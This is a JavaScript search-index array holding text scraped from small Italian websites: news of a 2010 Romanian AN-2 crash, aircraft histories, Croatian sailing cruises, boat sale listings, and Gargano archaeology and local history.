dell'Aeronautica Militare e 8 della Marina Militare, hanno perso la vita in un incidente aereo. L'aeroplano convolto è un Antonov AN-2 appartenente alla Scuola di Applicazione della Forza aerea &quot;Aurel Vlaicu&quot; di Boboc, (Distretto di Buzau). L'aereo, partito dall'aeroporto di Tuzla, (Distretto di Costanza), dopo un primo passaggio a bassa quota sull'aeroporto, ha perso bruscamente quota fracassandosi al suolo. Si parla di difficoltà al decollo. Tre membri dell'equipaggio sono riusciti a uscire dall'aereo ormai avvolto dalle fiamme, riportando gravi ustioni; la fortuna è mancata a undici paracadutisti che sono periti. Tra di loro il comandante della Scuola di Buzau Nicolae Jianu, il suo vice Catalin Vicentiu Antoche e il Capitano Lavinia Guita, tecnico di volo. Nella corso della notte è morto un altro militare ferito. L'aereo coinvolto è stato considerato da sempre un aereo sicuro e forte. Le capacità operative e la sua versatilità lo hanno situato sempre ai primi posti per efficienza e sicurezza. Nella foto: Relitto di Antonov AN-2 fotografato a Oradea (Romania) Giugno 2010 Riportiamo l'annuncio apparso sul nostro sito il 06 luglio 2010. In un incidente di volo con un aereo Antonov AN-2 in Romania, all'aeroporto di Tuzla, hanno perso la vita 12 militari romeni fra cui il comandante Nicolae Jianu della Scuola di Applicazione dell'Arma Aerea di Boboc (comandorul Nicolae Jianu comandantul Scolii de Aplicatie pentru Fortele Aeriene &quot;Aurel Vlaicu&quot; din Boboc), aveva 49 anni, sposato con due figli. Condoglianze alla famiglia, all'Aeronautica e alla Marina Militare della Romania. Da sinistra nelle foto:Il Comandante della Base Aerea di Boboc, Colonnello Pilota Nicolae Jianu Maggiore Pilota Catalin Vicentiu Antoche Tenente Pilota Lavinia Guita Maresciallo di I cl. Tecnico di volo Rasvan Ringhet Articolo in lingua romena apparso sul quotidiano Gazeta de Sud Tragedia aviatica la Tuzla Unsprezece militari de la Fortele Navale si-au pierdut viata ieri, în accidentul aviatic de la aerodromul Tuzla, în timp ce efectuau un zbor pentru antrenamente de parasutare, alti trei fiind raniti în incident, potrivit unui comunicat remis de Ministerul Apararii Nationale (MApN). Potrivit sursei citate, avionul AN-2, care apartinea Scolii de Aplicatie pentru Fortele Aeriene din Boboc, executa o misiune de zbor pentru antrenamente de parasutare si s-a prabusit ieri, în jurul orei 17.40, pe aerodromul Tuzla. În urma catastrofei aviatice, unsprezece militari si-au pierdut viata, iar alti trei au fost raniti, arata MApN. La bordul aeronavei se aflau membri ai echipajului si militari din cadrul Fortelor Navale. La scurt timp dupa decolare, aeronava a pierdut brusc înaltime si s-a prabusit, informeaza ministerul. În urma impactului cu solul, avionul a luat foc, incendiul fiind stins la ora 18.15. Cei trei militari raniti au fost transportati de urgenta la spital. Prin ordin al ministrului apararii nationale, a fost numita o comisie de investigatie tehnica pentru cercetarea împrejurarilor producerii acestei catastrofe aviatice. Written by severino on 06.07.2010, 10:20 Printerfriendly version ·  E-Mail article &middot; Read 651 times This page has been generated in 0.1170 seconds. (5 MySQL-Queries) Volare Fly Free | Manfredonia (Foggia) Italia | Piazza delle Rose, 3 | Tel: 0884-587031 | Cell: 3403128295 | E-mail:");sQ1[39]=new Array("http://www.volareflyfree.it/silvernews/index.php?news=15&act=next","Ricordi e notizie dal mondo dell'aviazione","","Home Page Le News Aeronautica Scuola di Volo Il Nostro Album di Foto Contattaci 20.01.2012, 21:26 Homepage · Search ·  Categories ·  Userlist « »&raquo; Aerei del mondo: L'Idrovolante francese LOIRE L 70 Le Loire L.70 sopranominato &quot;le Grand-duché de Cornouaille&quot; idrovolante passeggeri fu messo in linea di servizio nel 1937. Non diede buona prova di sè per la sua incapacità di essere un buon aereo, come tutti gli idrovolanti dell'epoca, del resto. Con una velocità di crociera di 170 km-h con una altitudine massima di 3.000 mt. è derivato direttamente dal modello precedente il Loire 50. Progettato dall'ing. Kerguistel nello studio di progettazione di Loire Saint-Nazaire. Il 5 marzo 1930 il Ministero dell'aeronautica francese dell'epoca richiede per conto della Marina, alle ditte costruttrici nazionali, di progettare un velivolo idrovolante trimotore merci/passeggeri (classe III). Il cantiere di Saint-Nazaire mette in cantiere un progetto, a scafo tradizionale e galleggianti, con carena a doppio gradino derivato dal Loire 50. Per il motore la scelta cadde sui propulsori tradizionalmente impiegati quali i Gnome et Rhóne 9 Ady da 420 hp. Il progetto sarà concepito per supportare modifiche ulteriori di potenza dei motori. Quattro soluzioni di motorizzazione furono prese in considerazione: 1. Tre Gnome et Rhóne Jupiter 9 Ady di 1.260 hp di potenza nominale totale, 1.400 hp di potenza reale al suolo e 920 hp di potenza di crociera al decollo. Raggio d'azione: 2.220 km ; 2. Tre Gnome et Rhóne Jupiter 9 Akx di 1.440 hp di potenza nominale totale, 1.545 hp di potenza reale al suolo e 920 hp di potenza di crociera. Raggio d'azione: 1.950 km ; 3. Tre Salmson 18 Ab di 1500 hp di potenza nominale totale, 1.550 hp di potenza reale al suolo e 920 hp di potenza di crociera al decollo. Raggio d'azione: 1.740 km ; Nel riquadro esempio di carena a doppio gradino. Written by severino on 12.07.2010, 02:47 Printerfriendly version ·  E-Mail article &middot; Read 464 times This page has been generated in 0.0170 seconds. (5 MySQL-Queries) Volare Fly Free | Manfredonia (Foggia) Italia | Piazza delle Rose, 3 | Tel: 0884-587031 | Cell: 3403128295 | E-mail:");sQ1[40]=new Array("http://www.volareflyfree.it/silvernews/index.php?user=1","Ricordi e notizie dal mondo dell'aviazione","","Home Page Le News Aeronautica Scuola di Volo Il Nostro Album di Foto Contattaci 20.01.2012, 21:26 Homepage · Search ·  Categories ·  Userlist » Profile of severino News: 21 Latest News: Un Artista che ama gli aeroplani (19.08.2011, 08:26) Membergroup: Administrator E-Mail Address: info@garganonet.it Homepage: --- AIM: --- ICQ: --- YIM: --- Location: --- Profession: --- Hobbies: --- Gender: male Birthday: 30.9.1957 Picture: --- This page has been generated in 0.0100 seconds. (2 MySQL-Queries) Volare Fly Free | Manfredonia (Foggia) Italia | Piazza delle Rose, 3 | Tel: 0884-587031 | Cell: 3403128295 | E-mail:");sQ1[41]=new Array("http://www.volareflyfree.it/silvernews/index.php?printer=15","VolareNews Plane - IAR-93 Aereo subsonico romeno da appoggio tattico e ricognizione","","IAR-93 Aereo subsonico romeno da appoggio tattico e ricognizione Written by severino on 10.07.2010, 23:47 Dopo 20 anni di proibizione di produrre aerei da combattimento, decretata dagli Alleati alla fine del secondo conflitto mondiale, la Romania mette in cantiere un progetto di aereo d'attacco e ricognizione. Siamo negli anni 70 la Iugoslavia e la Romania lanciano il programma JUROM che ha come obittivo la sostituzione dei vecchi F-84 Thunderjet e MiG- 17, nascono dunque lo J-22 Orao (Aquila) e lo IAR 93 romeno. L'aereo subsonico sarà concepito come velivolo leggero per l'attacco e l'appoggio tattico alle truppe a terra e come ricognitore. Spinto da due motori inglesi Rolls-Royce Viper MK 632-41 de 17,8 kN con postbruciatore, prodotti su licenza in Romania, dopo una laboriosa trattativa condotta da Teodor Zamfirescu e il colonnello Vidoje Knezevici. Armato con un cannoncino da 23 mm e di due missili aria-aria per l'autodifesa. L'aereo aveva la capacità di trasportare una carica offensiva di 2800 kg. Di questo aereo sono stati prodotti circa 300 esemplari, dei quali una parte in versione biposto per l'addestramento. Il primo volo dello IAR-93 viene effettuato sull'aeroporto di Bacau (Romania) il 31 ottobre 1974 con ai comandi il tenente colonnello Gheorghe Stanica; rimarrà in servizio fino ad aprile 1998. Prodotto dalla Industria Aeronauticã Românã (conosciuta anche come Întreprinderea Aeronauticã Românã fondata nel 1925) la stessa che produrrà il velivolo da bombaradamento e trasporto IAR 79B, versione romena del nostro SM 79 della Siai Marchetti. Foto: (Severino Tognoni) Esemplare fotografato a Orastie (Romania) 05-06-2010");sQ1[42]=new Array("http://www.dibariagricoltura.it/prodotti_2.html","I nostri prodotti e marchi di industrie produttrici - Di Bari Agricoltura","","Home I Nostri Prodotti Contattaci Dove siamo         Per il sito scrivete al Webmaster     Gaspardo per le macchine frangizolle e sistemazione dei letti di semina. Petrini Mangimi per tutti gli animali. Torna ai marchi e le ditte produttrici Powered and Hosted by   GARGANONET Cultura in Puglia   Vignanotica.com &nbsp;");sQ1[43]=new Array("http://www.garganonet.it/costruzione.html","Untitled","","PAGINA IN ALLESTIMENTO HOME");sQ1[44]=new Array("http://www.velaclub.org/crociere","crociere in barca a vela | Vela Club Padova","crociera in croazia in barca a vela","Corsi Vela Padova, Venezia, Rovigo, Portolevante. Vela Club Padova. Organizza corsi vela per tutte le etÃ . Home Il club Crociere scuola in Croazia YOGA E BARCA A VELA Mercatino dell&#8217;usato Porto Seguro uso della zattera Eurovinil Manutenzione della barca a vela osmosi Zattera di salvataggio La vetroresina ModalitÃ  di pagamento e costi dei corsi vela imbarcazioni del club Posti Barca patenti entro e oltre le 12 miglia dalla costa Porto Levante Corsi Vela Corsi deriva corsi in catamarano,crociere in catamarano Corsi di vela base,primo livello Corso di ormeggio e ancoraggio Corsi di vela secondo,livello giornaliero Corsi di vela,secondo livello Weekend AttivitÃ  di regata Foto Gallery Video Gallery Lezioni apprese topo Le cozzare, cronaca di un inconveniete Info Iscriviti alla nostra Newsletter Contatti Categorie Corsi di vela base Eventi Link Architetto Miola Edoardo BOLINA Edoardo Miola Marina di Porto Seguro Meteo meteo mondiale con i cicloni Piattaforma meteo alto Adriatico Piattaforma meteo alto adriatico volovia www.northcoast.it Meta Collegati RSS Crociere scuola in Croazia Crociere in Croazia La bellezza della navigazione a vela, e la possibilitÃ  di rilassarsi e di partecipare alla conduzione della barca, il piacevole gusto di una cena in baia, e la possibilitÃ  di scegliere una rotta adattabile alle vostre esigenze , sono gli ingredienti principali di una crociera scuola serena e divertente. Il corso Ã¨ dedicato alle persone che vogliono cimentarsi in prolungate navigazioni d&#8217;altura, pianificando la navigazione in funzione delle condizioni meteo marine. Si rivolge essenzialmente a coloro che sono amanti della navigazione pura, e cheÂ prediligonoÂ vivere in barca. Il corso si sviluppa con giornate di addestramento alla pratica marinaresca dove tutti i partecipanti collaboreranno alla condotta della barca, alternandosi nei vari ruoli. Il corso, puÃ² essere Â per single, le quali Â si devono adattare per quanto riguarda il dormire, oppure per gruppi di amici che giÃ  si conoscono da tempo. La barca Ã¨ organizzata con 3 cabine matrimoniali ed una cabina con 2 letti a cuccetta, doppi servizi che saranno suddivisi una per le donne ed uno per i uomini. Il periodo da giugno a fine settembre , organizzato in 10 giorni, con imbarco il venerdÃ¬ sera alle ore 18.00. Verranno assegnate le cabine, e ci sarÃ  il briefing, dove spiegheremo il funzionamento Â degli impianti di bordo, la disposizione dei bagagli e del materiale di sicurezza e salvataggio. Inoltre Â verranno esposte tutte le norme di sicurezza da adottare nelle varie situazioni d&#8217;emergenza. Si deciderÃ  assieme sui percorsi e li analizzeremo nei dettagli, anche in funzione delle condizioni meteo. La navigazione sarÃ  diurna e notturna e toccheremo tutti i porti e baie della Croazia, arrivando fino a Sebenico. Equipaggiamento: un sacco a pelo, normale vestiario estivo, casual, una giacca a vento, scarpe con suola in gomma chiara, occhiali da sole, berrettino, maglione o felpa, costumi da bagno,asciugamani e teli mare, insomma tutto ciÃ² che puÃ² essere necessario per vivere piÃ¹ giorni all&#8217;aperto. Un coltello da marinaio, crema solare, Per le signore e concesso un vestitino elegante con scarpette da sera. Considerate che gli spazi in barca sono ristretti e che molte delle cose che vi porterete, non riuscirete ad usarle per mancanza di occasioni, di conseguenza, non portatevi cose inutili. Ricordarsi la carta di identitÃ  valida per l&#8217;espatrio. Cambusa e cucina a bordo, saranno condotti in maniera autonoma dall&#8217;equipaggio, che provvederÃ  preparare i pasti organizzando dei turni. Tappe che si faranno in Croazia. La prima cosa da sapere Ã¨ che le crociere hanno una tabella di marcia orientativa, in quanto a volte si decide assieme dove andare. Comunque orientativamente si parte da Porto Levante all&#8217;alba oppure al tramonto in modo da attraversare l&#8217;Adriatico ed arrivare in dogana a Parenzo ad un&#8217;ora decente,lÃ¬ faremo documenti in capitaneria . Successivamente si parte per Ossera un piccolo paesino Tra Parenzo e Rovigno, dormiamo una notte in marina e ripartiamo il giorno dopo per destinazione le isole Brioni, ex residenza estiva di Tito. Se degli ospiti ci sono giÃ  stati , siamo costretti a saltarla. Tappa successiva attraversamento del Quarnaro con direzione Lussino, pernottamento in rada. Partenza il giorno dopo per l&#8217;isola di Zut conpernottamento in marina. Successiva tappa a Sebenico, con visita il giorno dopo alle cascate di Scradic. Partenza per L&#8217;isola di lissa e pernottamento in marina. Il giorno dopo partenza per Dubrovnik. Al ritorno, puntiamo diretti sulle isole Incoronate e successivamente varie tappe in baie e marine diverse. Questo Ã¨ un programma di massima, Â non faremo mai sosta nello stesso posto per piÃ¹ di una notte o un giorno, cambieremo sempre itinerario a seconda delle esigenze dei passeggeri, o delle condimeteo. Per i costi,500 euro a persona per settimana,incluso Skipper, piÃ¹ il pagamento delle spese vive per la barca che si intendono: Cambusa; Carburante; Spese per gli approdi in marina; spese di ingresso in Croazia, tassa di soggiorno; Spese di tassa di navigazione della barca. Cassa comune: si decide una persona dell&#8217;equipaggio per cassiere. Tutti, tranne lo skipper mettono 100 euro a testa in una cassa comune, gestita dal cassiere. Le spese vengono pagate dal cassiere, quando la cassa Ã¨ in rosso, si aggiungono i 100 euro di nuovo. Le spese in genere: Carburante lo si fa strada facendo, pagando con la cassa comune, al ritorno rifaremo il pieno. Per le marine si considera il costo medio delle piÃ¹ care, circa 65 euro a notte, se dormiamo in rada si parla di circa 20 euro a notte. Non tutte sono cosÃ¬ care. Il costo maggiore si ha andando alle isole Brioni, in quanto l&#8217;approdo e la visita al parco costa molto, comunque possiamo saltarle. Per Â per fare cambusa, ci si organizza Â andando a fare la spesa prima dell&#8217;imbarco, facendo un elenco di cose da comprare, tipo l&#8217;acqua, la birra, il vino, i sughi, gli spaghetti, i succhi di frutta, tonno in scatola, carne simental, formaggi ecc. ecc. La frutta e i generi deteriorabili si comprano giorno per giorno. Abbiamo considerato che, le spese saranno diÂ  circa 50 euro al giorno a persona tutto compreso. E forse ho esagerato. Per ulteriori informazioni, consultate il sito www.velaclub.org Condividi su: Cerca nel sito! Tag Cloud allevamenti di cozze cozzare visore notturno Archivi novembre 2011 agosto 2011 luglio 2011 maggio 2011 aprile 2011 marzo 2011 febbraio 2011 gennaio 2011 novembre 2010 ottobre 2010 settembre 2010 agosto 2010 Torna su Keywords: crociere, croazia, ossera, amici in crociera, vacanze in barca avela, vacanze in barca in crociera,");sQ1[45]=new Array("http://www.garganonet.it/natanti/index.php","Barche Manager","","Home        Cabinati FLY        Vela        NEWS e informazioni        Convertibili        Catamarani        Day Cruiser        Flying Bridge        Covertibili        Open        Fisherman        Motorsailer        Gommoni        Cabin Fish          Ricerca Veloce        Un invio senza testo elenca tutte le offerte.   Contattaci Se vuoi ricevere informazioni, chiamaci! Tel: (+39) 0426 330701  Mobil:  (+39) 3403128295  onlineservice@tin.it     Spazio pubblicitario libero  Barca seminuova, usata pochissimo, perfetta Sunday, June 26, 2011 Vero affare per chi vuole comprare un piccolo cabinato dalle buone prestazioni e seminuovo per l&#39;uso limitato che ne è stato fatto. Manutenzione perfetta non necessita di alcun intervento. Riferimento: Cantier Leggi  Ultime Inserzioni Importazione diretta USA 2352 CAPRI Saturday, June 25, 2011 Barca del 1974 in buonissime condizioni Monday, June 20, 2011 Cabinato del Cantiere Della Pasqua & C. Monday, June 20, 2011     Pagina (e) 1    Offerte e Proposte Riferimento: Cantiere: TOGNACCI Anno: 1974 Modello: 28 SMERALDO Tipo: Materiale: Legno Lunghezza: mt 7,50 Bandiera: Anno Immatricolazione: Anno Motore: 1986 Motore: VOLVO P. CV/HP: 1X118 Ore Moto Velocità: Leggi      © Offerte occasioni barche e natanti | All Rights Reserved");sQ1[46]=new Array("http://www.garganonet.it/natanti/news_detail.php?nid=61","Offerte Barche Manager","","Home        Cabinati FLY        Vela        NEWS e informazioni        Convertibili        Catamarani        Day Cruiser        Flying Bridge        Covertibili        Open        Fisherman        Motorsailer        Gommoni        Cabin Fish          Ricerca Veloce        Un invio senza testo elenca tutte le offerte.   Contattaci Se vuoi ricevere informazioni, chiamaci! Tel: (+39) 0426 330701  Mobil:  (+39) 3403128295  onlineservice@tin.it     Spazio pubblicitario libero  Barca del 1974 in buonissime condizioni Aggiornato al:  Monday, June 20, 2011 Riferimento: Cantiere: TOGNACCI Anno: 1974 Modello: 28 SMERALDO Tipo: Materiale: Legno Lunghezza: mt 7,50 Bandiera: Anno Immatricolazione: Anno Motore: 1986 Motore: VOLVO P. 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Abbiamo scelto di mostrare tutti i saggi, gli stampati, depliant e brochure editi a cura di enti e privati, a carattere anche locale, ritenendo la loro consultazione un momento importante di didattica. La raccolta è un excursus panoramico delle profonde diversità storico-culturali e geografiche-ambientali della Puglia e del territorio di Capitanata, nonché di informazioni e ricorrenze con valore documentale. Questa raccolta nel suo insieme dei contenuti letterari danno la misura del cambiamento di linguaggio che negli anni si è prodotto; i testi che appaiono nelle pubblicazioni più datate sono completamente diversi per forma lessicale dai più recenti. La qualità dell'esposizione non è strutturale ne grammaticale ma tiene solo conto dei contenuti culturali che i vari scritti denotano. Lasciamo al lettore l'incombenza di un giudizio più attento e oculato sull'argomento. Riviste Rivista mensile edita dal Parco del Gargano Le riviste disponibili sono elencate per anno. Per presentare adeguatamente i contenuti culturali e divulgativi delle riviste mensili, sono state scelti alcuni articoli che riteniamo di particolare valore e pubblicati nel sito, in maniera succinta per ragioni di spazio. Vedi l'elenco delle annate e copie disponibili      &quot;Sudest quaderni&quot; Rivista mensile di Attualità e Idee Nov/Dic 2005 anno II n.11  copie disp. 1 Euro 1,00 Gen/Feb 2006 anno III n.12  copie disp. 1 Euro 1,00      &quot;Arte Cristiana&quot; rivista illustrata bimestrale e internazionale di storia dell'arte e delle arti liturgiche. Elenco delle pubblicazioni disponibili con i relativi sommari. Costo Euro 2,00      Per l'acquisto delle pubblicazioni e delle riviste Leggi le informazioni Restauro » Restauro e conservazione dei Beni Culturali Garganonet Piazza delle Rose, 3 71043 Manfredonia (Foggia) Italia   Contattaci     &nbsp;");sQ1[48]=new Array("http://www.vignanotica.com/costruzione.html","Pagina in allestimento","","Home Page Pubblicazioni Le News Contattaci Home Page &gt; Pagina in allestimento PAGINA IN ALLESTIMENTO Stiamo lavorando al sito per aggiornarne i contenuti. Scusate l'inconveniente.   Garganonet Piazza delle Rose, 3 71043 Manfredonia (Foggia) Italia   Contattaci     &nbsp;");sQ1[49]=new Array("http://www.vignanotica.com/contattaci.html","Alunni del Pietro Sevatico di Padova ","","Home Page Pubblicazioni Le News Contattaci Home Page &gt; Contatto Contattaci Il nostro indirizzo: Vignanotica.com Piazza delle Rose,3 71043 Manfredonia (Foggia) Italia tel 0884/587031 Cell 3403128295 E-mail Severino Tognoni info@vignanotica.com Restauro » Restauro e conservazione dei Beni Culturali Garganonet Piazza delle Rose, 3 71043 Manfredonia (Foggia) Italia   Contattaci     &nbsp;");sQ1[50]=new Array("http://www.vignanotica.com/luoghi_puglia.html","Luoghi del Gargano, Territorio di Capitanata nella Provincia di Foggia","","Home Page Pubblicazioni Le News Contattaci Luoghi del Gargano e Puglia Il Vallone di Vignanotica Home Page &#62; Luoghi del Gargano e Puglia Gargano e Puglia Luoghi del Territorio Il Vallone e la spiaggia di VIGNANOTICA Il Vallone di Vignanotica scende per un dolce declivio fino al mare. Luogo di vacanza, conserva immutati gli aspetti naturistici del luogo. ...lungo la discesa, a sinistra del vallone, si estende per circa 2000 ettari, la tenuta di Pugnochiuso ove vivono un gran numero di mufloni e daini oltre a cinghiali e cervi. Percorrendo il sentiero nelle prime ore di luce sarà possibile avvistare i daini brucare nelle radure o, fra le rocce, un banchetto di mufloni. La zona è inoltre frequentata da rapaci che, soprattutto durante le migrazioni, possono ammaliare chi, senza fretta e con un binocolo, si dedica al birdwatching. Così il roco richiamo dei corvi imperiali si mescolerà al grido del gheppio, mentre magari lungo il vallone apparirà all'improvviso uno sparviero [...] (testo Rivista del Parco nazionale del Gargano Settembre 2003 Anno 5 n. 9)  Restauro » Restauro e conservazione dei Beni Culturali Garganonet Piazza delle Rose, 3 71043 Manfredonia (Foggia) Italia   Contattaci     &nbsp;");sQ1[51]=new Array("http://www.vignanotica.com/steledaunie.html","Stele Daunie e Capitanata Archeologica Provincia di Foggia","","Home Page Pubblicazioni Le News Contattaci Archeologia in Capitanata Le Stele Daunie Storia del territorio Home Page &gt; Archeologia in Capitanata Archeologia in Capitanata Stele Daunia 21-5-2007 Le Stele Daunie Preziose testimonianze archeologiche consentono oggi di ricostruire la lunga e articolata storia del territorio sipontino, interessato sin dal Neolitico dalla presenza umana. Fra i ritrovamenti archeologici più interessanti della Puglia del periodo che va dall'VIII al IV secolo a.C. ci sono le Stele Daunie. I ricercatori e gli storici hanno presentato svariate ipotesi sulla funzionalità di tali reperti. Provenienti in massima parte da due centri più importanti dell'antica laguna, Cupola-Beccarini e Salaria con qualche più rara presenza anche a Ordona, Ascoli, Melfi, Arpi, Tiati, la scoperta delle Stele Daunie risale agli anni Sessanta. Carta grafica degli insediamenti Le Stele si rinvennero casualmente sul terreno all'interno di campi coltivati o variamente reimpiegate in costruzioni rurali, fabbricati o muretti a secco, sottratte dunque al contesto a cui appartenevano; questo ha impedito la comprensione della loro destinazione e della loro precisa collocazione. Il particolare della parte inferiore della lastra non decorata prova che esse non erano infisse verticalmente nel terreno, mentre i contenuti che campiscono le superfici hanno consentito di formulare l'ipotesi corrente, cioè che le stele fungessero da segnacolo funerario di gruppi sociali emergenti: in tal caso gli schemi rappresentati sarebbero in stretto legame con l'immagine del defunto. Alcune tipologie di teste di Stele Daunie La pietra calcarea adoperata proviene dalle vicine cave garganiche; locale, senza dubbio, è la lavorazione che lascia presupporre un'alta e articolata specializzazione delle maestranze impegnate. Le lastre inoltre, oltre ad assumere un significato specifico in se stesse per la forma e per la testa che le completava, fungevano da supporto ad un vero e proprio linguaggio per immagini: erano interamente ricoperte da una ricca decorazione geometrica ottenuta così come il restante apparato iconografico con incisioni, escissioni o graffiti. Le teste erano scolpite nella stessa pietra o lavorate a parte e fissate alla stele con un perno; sono documentate teste di tipo &quot;iconico&quot; con la suggestiva notazione di particolari del oppure di tipo &quot;aniconico&quot; con la sola notazione di un copricapo. Testa di Stele Daunia Bande con riquadri campiti con motivi geometrici (svastica, meandro) marcano i limiti della lastra sui due lati principali e all'interno di questa superficie campeggiano sul lato anteriore gli elementi distintivi, armi o ornamenti.Le Stele con armi riferibili a individui maschili appartenenti alla classe guerriera recano il kardiophylax o pettorale, la spada inguainata con impugnatura a crociera e, nella parte posteriore un grande scudo decorato. Le stele con ornamenti si distinguono per la presenza di oggetti squisitamente femminili: collane, fibule, pendagli, cinture e nastri pendenti, con gli avambracci sempre guantati e riccamente decorati. Le teste relative a questo gruppo sono coniche con copricapo e lavorate nello stesso blocco della lastra; sulla parte posteriore ricorre una treccia desinente, di frequente in complessi elementi ornamentali. Stele Daunia con gioielli di rara bellezza formale     In questi schemi, che vanno idealmente completati con colori quali il rosso e il nero, conservati solo in alcuni casi, le immagini acquistano una rilevanza notevole anche per comprendere il linguaggio delle antiche comunità e scoprirne gli aspetti più segreti: episodi di vita quotidiana (la caccia, la pesca, la filatura della rana, la molitura del grano) accanto a raffigurazioni legate al culto dei morti e alle credenze ad esso connesse (processioni rituali, esseri fantastici). Accanto al repertorio di immagini immediatamente riconducibili a momenti di vita reale vi sono soggetti di lettura più complessa: animali fantastici, come il cavallo alato, scene di rituali particolari, esseri inverosimili forse riconducibili ad uno sconosciuto pantheon, soggetti ai quali la fantasia del popolo della Daunia ha legato la propria immortalità.     Particolare di figure umane in una Stele Daunia Nella cartina geografica si possono vedere i luoghi esatti dove sono avvenuti tutti i ritrovamenti dell'area del Gargano. Clicca sull'immagine per ingrandirla. Restauro » Restauro e conservazione dei Beni Culturali Garganonet Piazza delle Rose, 3 71043 Manfredonia (Foggia) Italia   Contattaci     &nbsp;");sQ1[52]=new Array("http://www.vignanotica.com/storiaterritorio.html","Storia del Territorio di Capitanata nella Provincia di Foggia","","Home Page Pubblicazioni Le News Contattaci Luoghi del Gargano e Puglia Il Vallone di Vignanotica Home Page &#62; Storia del Territorio Archeologia Storia del territorio della Provincia di Foggia Preziose testimonianze archeologiche consentono oggi di ricostruire la lunga e articolata storia del territorio sipontino, interessato sin dal Neolitico dalla presenza umana. Mappa degl'insediamenti in provincia di Foggia In antico il tratto costiero a sud di Manfredonia era occupato da un'ampia laguna che si estendeva fino all'Ofanto; in essa confluivano le acque dei corsi fluviali navigabili che bagnavano l'estesa pianura del Tavoliere: Durante il Neolitico il territorio prossimo alla foce del fiume Candelaro fu occupato da individui che scelsero di vivere in gruppo all'interno dei villaggi (Coppa Nevigata, Masseria Candelaro, Monte acquilone, Fontanarosa, Santa Tecchia) caratterizzati dalla presenza di profondi fossati di recinzione. Essi traevano i mezzi per il proprio sostentamento dal lavoro dei campi, dall'allevamento del bestiame, dalla caccia e dalla pesca, attività praticate grazie alla presenza di ampie zone coltivabili, di pascoli, di fitti boschi e dalla laguna da cui era possibile raggiungere il mare aperto. L'universo delle comunità preistoriche era ricco anche di rituali religiosi legati alle divinità naturali. A Grotta Scaloria presso Manfredonia abbiamo infatti testimonianza di un cerimoniale che si svolgeva nella parte più profonda della cavità e che prevedeva la raccolta delle acque dallo stillicidio della volta all'interno di pregiati contenitori dipinti. Dei villaggi neolitici quello di Coppa Nevigata fu frequentato anche nella successiva Età del bronzo: in questa nuova fase culturale diventò necessario proteggere l'abitato dall'esterno e, a tal scopo, venne costruito un grosso muro di fortificazione verso la terraferma in grado di garantire la totale difesa dell'insediamento. Nell'età del ferro, ultimo tratto di quel lungo arco cronologico definito come Età dei metalli e che coincide con il primo millennio a.C., l'habitat lagunare assolveva ancora al ruolo di protagonista nella storia di questo territorio. Reperti archeologici esposti al Museo di Manfredonia I villaggi sorgevano su piccoli promontori emergenti dalle acque della laguna segnata da una fitta rete di canali che mettevano in contatto i diversi agglomerati organizzati con spazi destinati alle capanne, alle attività quotidiane e alle aree con funzioni cultuali e funerarie. In questo contesto nacque e si sviluppà la civiltà daunia: una civiltà composita e ricca che ebbe la sua massima espressione artistica nella produzione delle stele funerarie. Agli inizi del II secolo a.C., dopo la guerra annibalica i romani - in espansione nel Sud d'Italia - fondarono nel territorio costiero di Arpi una colonia marittima, Sipontum, impiantata su un naturale rialzo del terreno: quest'area portuale sar&#224 una delle pi&#249 importanti della Puglia romana e medioevale. Quando più di mezzo secolo fa gli aerei della Royal Air Farce britannica fotografavano Foggia e il Tavoliere pugliese per ragione belliche un giovane ufficiale John Bradford faceva servizio su uno dei velivolo ricognitori. Il giovane aviatore maestro nella fotografia aerea fu paladino delle prime ricerche archeologiche in Capitanata: infatti, con le sue riprese, oltre che gli obiettivi militari, individuò con esattezza i siti dei villaggi neolitici, delle necropoli daune e delle città romane sepolte. Reperti archeologici esposti al Museo di Manfredonia Ne contò circa 200 e dopo la seconda guerra mondiale fu proprio lui a iniziare i primi scavi come dimostra la documentazione ritrovata a Londra negli archivi del ministero della Difesa inglese. Fu opera sua l'indivuduazione dell'esatta ubicazione della città romano-medievale di Salpi, in prossimità della salina di Margherita di Savoia. La Puglia e la Capitanata è una terra che non smette mai di di sorprendere per la ricchezza dei suoi giacimenti archeologici: per ora stimati a più di 1.200. Una terra fertile ferita dalla incuria e dalla piaga dei tombaroli mostra in tutto il suo splendore cò di cui erano capaci i nostri antenati. Nella cartina sono segnati (contrassegnati da una testa di stele femminile del VII-VI secolo a.C.) nove scrigni della memoria e che meritano il rinnovato interesse dei ricercatori, dei bravi amministratori e dei volontari attenti. Eccoli: Monte Saraceno, presso Mattinata, con i resti delle tombe dell'Età del ferro. Siponto, il porto della Daunia; sono visitabili i resti della basilica paleocristiana e i moderni scavi della città mediovale. Coppa Nevigata, insediamento dell'Età del bronzo. Cupola, patria delle stele: le pietre tombali dei Danni con incisioni che sembrano fumetti si possono ammirare nel museo del castello svevo di Manfredonia. Arpi, una delle capitali della Daunia: i suoi reperti sono custoditi nel museo di Foggia. Salapia, presso l'attuale Trinitapoli, la Venezia dei Danni che si affacciava sulla laguna del lago Salpi, trasformato ora in salina, distrutta dai tombaroli. Herdoma, vicino a Ordona: è visitabile la città romana. Canosa, nota per le bellissime ceramiche conservate nel suo museo civico e in quello archeologico di Bari. Ripalta, villaggio dell'Età del bronzo. Uno dei ricercatori più attenti delle vestigia storiche della Capitanata è un archeologo belga, Jozef Mertens, ordinario di archeologia romana e tecnica degli scavi all'università di Lovanio (Belgio). Il nome di Mertens si lega alle nostre terre come i nomi illustri di ricercatori si legano alle maggiori scoperte archeologiche di tutti i tempi. È a lui che si devono gli scavi a Herdonia, la piccola Pompei dauna a 20 chilometri da Foggia. Assieme a Canosa, l'altra capitale dauna, Herdonia produceva le più belle ceramiche di quella civiltà. Ma è la città romana del primo secolo dopo Cristo, sorta sulla necropoli dauna, che è possibile visitare. È situata lungo la via Traiana che a oriente della Appia congiungeva Benevento a Brindisi, e mostra il foro, la basilica, il tempio, il macellum, un piccolo anfiteatro. Numerosi sono i musei sorti nella Capitanata tra i quali menzioniamo: il museo del sale a Margherita di Savoia, di archeologia a Trinitapoli, di arte contadina a Cerignola e San Ferdinando di Puglia. In memoria di Joseph Mertens, il 4-6 dicembre 2008 si è svolto a Roma un convegno intitolato: &quot;Alba in excelso locata saxo ...Obscura incultis Herdonia ab agris&quot;. Tra i relatori conterranei annoveriamo: Roberta Giuliani, Danilo Leone, Anita Rocco e Maria Turchiano dell'Università di Foggia, che disserteranno su &quot;Il quartiere termale di Herdonia: dai primi scavi della missione belga alle recenti indagini. Pasquale Favia, Università di Foggia &quot;Da Herdonia al castrum Dordona: le ricerche di Joseph Mertens e della missione archeologica belga e le ultime indagini per la ricostruzione delle vicende medievali del sito&quot;. 